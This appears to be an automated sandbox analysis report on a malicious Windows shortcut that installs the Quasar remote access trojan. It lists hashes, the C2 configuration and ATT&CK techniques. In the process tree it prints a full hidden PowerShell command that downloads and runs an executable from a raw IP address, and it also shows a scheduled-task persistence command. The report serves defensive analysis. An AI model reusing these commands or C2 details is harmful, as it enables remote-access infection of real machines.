quasar | 184d7427be227ca0505c4baf5a9d3756534f399b052309e19ba819d06d03a543

Analysis

max time kernel
130s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
02-11-2024 02:50

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General

Target

184d7427be227ca0505c4baf5a9d3756534f399b052309e19ba819d06d03a543.lnk
Size

2KB
MD5

4a98c5bbf1a94992ec72858d3327a28e
SHA1

0fa914c44bdcb63d3631d5ec30cebb5047d12c7a
SHA256

184d7427be227ca0505c4baf5a9d3756534f399b052309e19ba819d06d03a543
SHA512

e60fb58d1f141d3c2ea99bf39d3b0dd872bebc05efa0cfa630e783f4d90b624084988c66621adc4d7dc6434b1c707d1d6c7c1f36ee2fa2e36fefc47b9a7d6ba7

Score

10^/10

quasar vtroy discovery execution spyware trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://45.149.241.169:5336/ghsjfsgfjsyhsfhzgbdfbgzgfb/yugygfyjsbdfoesrjfzbhffbserhbwdewbrtsnbdjkfbrhjgvghvhgvhgvhgvHfgcNchgfcnhchgchgcnGfcngcgdcngchcngch/jhbhfbjadhghjvgfcxhhfcjtgvkhdfskjdkbzhdfhmzdkydbfvhzdfjgvhzvg/tfvjtcfgchgcgcHcgcftjcgtygvgFtrdcjfcgkhvGcjfcxhfcjgVK/chfgcx.exe

Extracted

Family

quasar

Version

1.3.0.0

Botnet

VTROY

31.13.224.12:61512

31.13.224.13:61513

Mutex

QSR_MUTEX_4Q2rJqiVyC7hohzbjx

Attributes

encryption_key
7Vp2dMCHrMjJthQ2Elyy
install_name
downloads.exe
log_directory
Logs
reconnect_delay
5000
startup_key
cssrse.exe
subdirectory
downloadupdates

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2524-29-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow	pid	Process
3	5108	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
5108	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cmd.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 8 IoCs

Processes:

ujtjewc.exeujtjewc.exeujtjewc.exeujtjewc.exedownloads.exedownloads.exedownloads.exedownloads.exe

pid	Process
4508	ujtjewc.exe
2524	ujtjewc.exe
4952	ujtjewc.exe
3516	ujtjewc.exe
5048	downloads.exe
2660	downloads.exe
3444	downloads.exe
3508	downloads.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
21	ip-api.com

Suspicious use of SetThreadContext 6 IoCs

Processes:

ujtjewc.exedownloads.exe

description	pid	Process	procid_target
PID 4508 set thread context of 2524	4508	ujtjewc.exe	91
PID 4508 set thread context of 4952	4508	ujtjewc.exe	92
PID 4508 set thread context of 3516	4508	ujtjewc.exe	93
PID 5048 set thread context of 2660	5048	downloads.exe	103
PID 5048 set thread context of 3444	5048	downloads.exe	104
PID 5048 set thread context of 3508	5048	downloads.exe	105

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 4 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	Process
32	4952	WerFault.exe
3660	2660	WerFault.exe
1284	3444	WerFault.exe
4392	3508	WerFault.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

ujtjewc.exeujtjewc.exeujtjewc.exeschtasks.exedownloads.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ujtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ujtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ujtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloads.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exe

pid	Process
2696	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
5108	powershell.exe
5108	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exeujtjewc.exeujtjewc.exedownloads.exe

description	pid	Process
Token: SeDebugPrivilege	5108	powershell.exe
Token: SeDebugPrivilege	4508	ujtjewc.exe
Token: SeDebugPrivilege	3516	ujtjewc.exe
Token: SeDebugPrivilege	5048	downloads.exe

Suspicious use of UnmapMainImage 1 IoCs

Processes:

ujtjewc.exe

pid	Process
4952	ujtjewc.exe

Suspicious use of WriteProcessMemory 59 IoCs

Processes:

cmd.exepowershell.exeujtjewc.exeujtjewc.exedownloads.exe

description	pid	Process	procid_target
PID 2596 wrote to memory of 5108	2596	cmd.exe	86
PID 2596 wrote to memory of 5108	2596	cmd.exe	86
PID 5108 wrote to memory of 4508	5108	powershell.exe	90
PID 5108 wrote to memory of 4508	5108	powershell.exe	90
PID 5108 wrote to memory of 4508	5108	powershell.exe	90
PID 4508 wrote to memory of 2524	4508	ujtjewc.exe	91
PID 4508 wrote to memory of 2524	4508	ujtjewc.exe	91
PID 4508 wrote to memory of 2524	4508	ujtjewc.exe	91
PID 4508 wrote to memory of 2524	4508	ujtjewc.exe	91
PID 4508 wrote to memory of 2524	4508	ujtjewc.exe	91
PID 4508 wrote to memory of 2524	4508	ujtjewc.exe	91
PID 4508 wrote to memory of 2524	4508	ujtjewc.exe	91
PID 4508 wrote to memory of 2524	4508	ujtjewc.exe	91
PID 4508 wrote to memory of 4952	4508	ujtjewc.exe	92
PID 4508 wrote to memory of 4952	4508	ujtjewc.exe	92
PID 4508 wrote to memory of 4952	4508	ujtjewc.exe	92
PID 4508 wrote to memory of 4952	4508	ujtjewc.exe	92
PID 4508 wrote to memory of 4952	4508	ujtjewc.exe	92
PID 4508 wrote to memory of 4952	4508	ujtjewc.exe	92
PID 4508 wrote to memory of 4952	4508	ujtjewc.exe	92
PID 4508 wrote to memory of 4952	4508	ujtjewc.exe	92
PID 4508 wrote to memory of 3516	4508	ujtjewc.exe	93
PID 4508 wrote to memory of 3516	4508	ujtjewc.exe	93
PID 4508 wrote to memory of 3516	4508	ujtjewc.exe	93
PID 4508 wrote to memory of 3516	4508	ujtjewc.exe	93
PID 4508 wrote to memory of 3516	4508	ujtjewc.exe	93
PID 4508 wrote to memory of 3516	4508	ujtjewc.exe	93
PID 4508 wrote to memory of 3516	4508	ujtjewc.exe	93
PID 4508 wrote to memory of 3516	4508	ujtjewc.exe	93
PID 3516 wrote to memory of 2696	3516	ujtjewc.exe	99
PID 3516 wrote to memory of 2696	3516	ujtjewc.exe	99
PID 3516 wrote to memory of 2696	3516	ujtjewc.exe	99
PID 3516 wrote to memory of 5048	3516	ujtjewc.exe	101
PID 3516 wrote to memory of 5048	3516	ujtjewc.exe	101
PID 3516 wrote to memory of 5048	3516	ujtjewc.exe	101
PID 5048 wrote to memory of 2660	5048	downloads.exe	103
PID 5048 wrote to memory of 2660	5048	downloads.exe	103
PID 5048 wrote to memory of 2660	5048	downloads.exe	103
PID 5048 wrote to memory of 2660	5048	downloads.exe	103
PID 5048 wrote to memory of 2660	5048	downloads.exe	103
PID 5048 wrote to memory of 2660	5048	downloads.exe	103
PID 5048 wrote to memory of 2660	5048	downloads.exe	103
PID 5048 wrote to memory of 2660	5048	downloads.exe	103
PID 5048 wrote to memory of 3444	5048	downloads.exe	104
PID 5048 wrote to memory of 3444	5048	downloads.exe	104
PID 5048 wrote to memory of 3444	5048	downloads.exe	104
PID 5048 wrote to memory of 3444	5048	downloads.exe	104
PID 5048 wrote to memory of 3444	5048	downloads.exe	104
PID 5048 wrote to memory of 3444	5048	downloads.exe	104
PID 5048 wrote to memory of 3444	5048	downloads.exe	104
PID 5048 wrote to memory of 3444	5048	downloads.exe	104
PID 5048 wrote to memory of 3508	5048	downloads.exe	105
PID 5048 wrote to memory of 3508	5048	downloads.exe	105
PID 5048 wrote to memory of 3508	5048	downloads.exe	105
PID 5048 wrote to memory of 3508	5048	downloads.exe	105
PID 5048 wrote to memory of 3508	5048	downloads.exe	105
PID 5048 wrote to memory of 3508	5048	downloads.exe	105
PID 5048 wrote to memory of 3508	5048	downloads.exe	105
PID 5048 wrote to memory of 3508	5048	downloads.exe	105

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\184d7427be227ca0505c4baf5a9d3756534f399b052309e19ba819d06d03a543.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hIdDEn Hiddden -Command OpenWith.exe;(new-object System.Net.WebClient).DownloadFile('http://45.149.241.169:5336/ghsjfsgfjsyhsfhzgbdfbgzgfb/yugygfyjsbdfoesrjfzbhffbserhbwdewbrtsnbdjkfbrhjgvghvhgvhgvhgvHfgcNchgfcnhchgchgcnGfcngcgdcngchcngch/jhbhfbjadhghjvgfcxhhfcjtgvkhdfskjdkbzhdfhmzdkydbfvhzdfjgvhzvg/tfvjtcfgchgcgcHcgcftjcgtygvgFtrdcjfcgkhvGcjfcxhfcjgVK/chfgcx.exe','ujtjewc.exe');./'ujtjewc.exe';(get-item 'ujtjewc.exe').Attributes += 'Hidden';
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5108
- - C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
    "C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4508
  - - C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
      C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2524
  - - C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
      C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
      4⤵
      Executes dropped EXE
      Suspicious use of UnmapMainImage
      PID:4952
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4952 -s 12
        5⤵
        Program crash
        
        PID:32
  - - C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
      C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3516
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "cssrse.exe" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe" /rl HIGHEST /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2696
    - - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        "C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5048
      - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        6⤵
        Executes dropped EXE
        
        PID:2660
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2660 -s 80
        7⤵
        Program crash
        
        PID:3660
      - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        6⤵
        Executes dropped EXE
        
        PID:3444
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3444 -s 80
        7⤵
        Program crash
        
        PID:1284
      - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        6⤵
        Executes dropped EXE
        
        PID:3508
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3508 -s 80
        7⤵
        Program crash
        
        PID:4392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4952 -ip 4952
1⤵
PID:748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2660 -ip 2660
1⤵
PID:4660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3444 -ip 3444
1⤵
PID:4884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 3508 -ip 3508
1⤵
PID:4424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ujtjewc.exe.log

Filesize
522B

MD5
0f39d6b9afc039d81ff31f65cbf76826

SHA1
8356d04fe7bba2695d59b6caf5c59f58f3e1a6d8

SHA256
ea16b63ffd431ebf658b903710b6b3a9b8a2eb6814eee3a53b707a342780315d

SHA512
5bad54adb2e32717ef6275f49e2f101dd7e2011c9be14a32e5c29051e8a3f608cbd0b44ac4855ab21e790cb7a5d84c5f69de087074fd01b35259d34d07f5aaf9

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_52131onq.nr2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe

Filesize
774KB

MD5
b8fc2efcc33d3160f38fcb6b39319e6a

SHA1
a61413a5b6c19b4a388e6c89aaa9304c657b3e08

SHA256
3df20b1c9806c327d72824f1b9a4ffcbe702d152fbf11fca42a36c862cbafd0a

SHA512
ba4ef7ec5dd7b9ad8ec49ef73315bded8ecc72212b11e3a1384b6d4f3f264867312cda41268a8d1df6fc8c3caa63813c15aa4ff29f0324360a95d59de3456d3b

Download Submit
memory/2524-36-0x0000000005780000-0x0000000005D24000-memory.dmp

Filesize
5.6MB

Download
memory/2524-38-0x0000000005100000-0x0000000005166000-memory.dmp

Filesize
408KB

Download
memory/2524-29-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/3516-37-0x0000000005770000-0x0000000005802000-memory.dmp

Filesize
584KB

Download
memory/3516-41-0x0000000006A90000-0x0000000006ACC000-memory.dmp

Filesize
240KB

Download
memory/3516-40-0x0000000005C60000-0x0000000005C72000-memory.dmp

Filesize
72KB

Download
memory/4508-28-0x0000000004DB0000-0x0000000004E4C000-memory.dmp

Filesize
624KB

Download
memory/4508-27-0x0000000007090000-0x000000000717E000-memory.dmp

Filesize
952KB

Download
memory/4508-26-0x0000000000120000-0x00000000001EA000-memory.dmp

Filesize
808KB

Download
memory/5108-14-0x00007FF9E8480000-0x00007FF9E8F41000-memory.dmp

Filesize
10.8MB

Download
memory/5108-2-0x00007FF9E8483000-0x00007FF9E8485000-memory.dmp

Filesize
8KB

Download
memory/5108-24-0x000001FE73590000-0x000001FE737AC000-memory.dmp

Filesize
2.1MB

Download
memory/5108-25-0x00007FF9E8480000-0x00007FF9E8F41000-memory.dmp

Filesize
10.8MB

Download
memory/5108-12-0x000001FE5B370000-0x000001FE5B392000-memory.dmp

Filesize
136KB

Download
memory/5108-13-0x00007FF9E8480000-0x00007FF9E8F41000-memory.dmp

Filesize
10.8MB

Download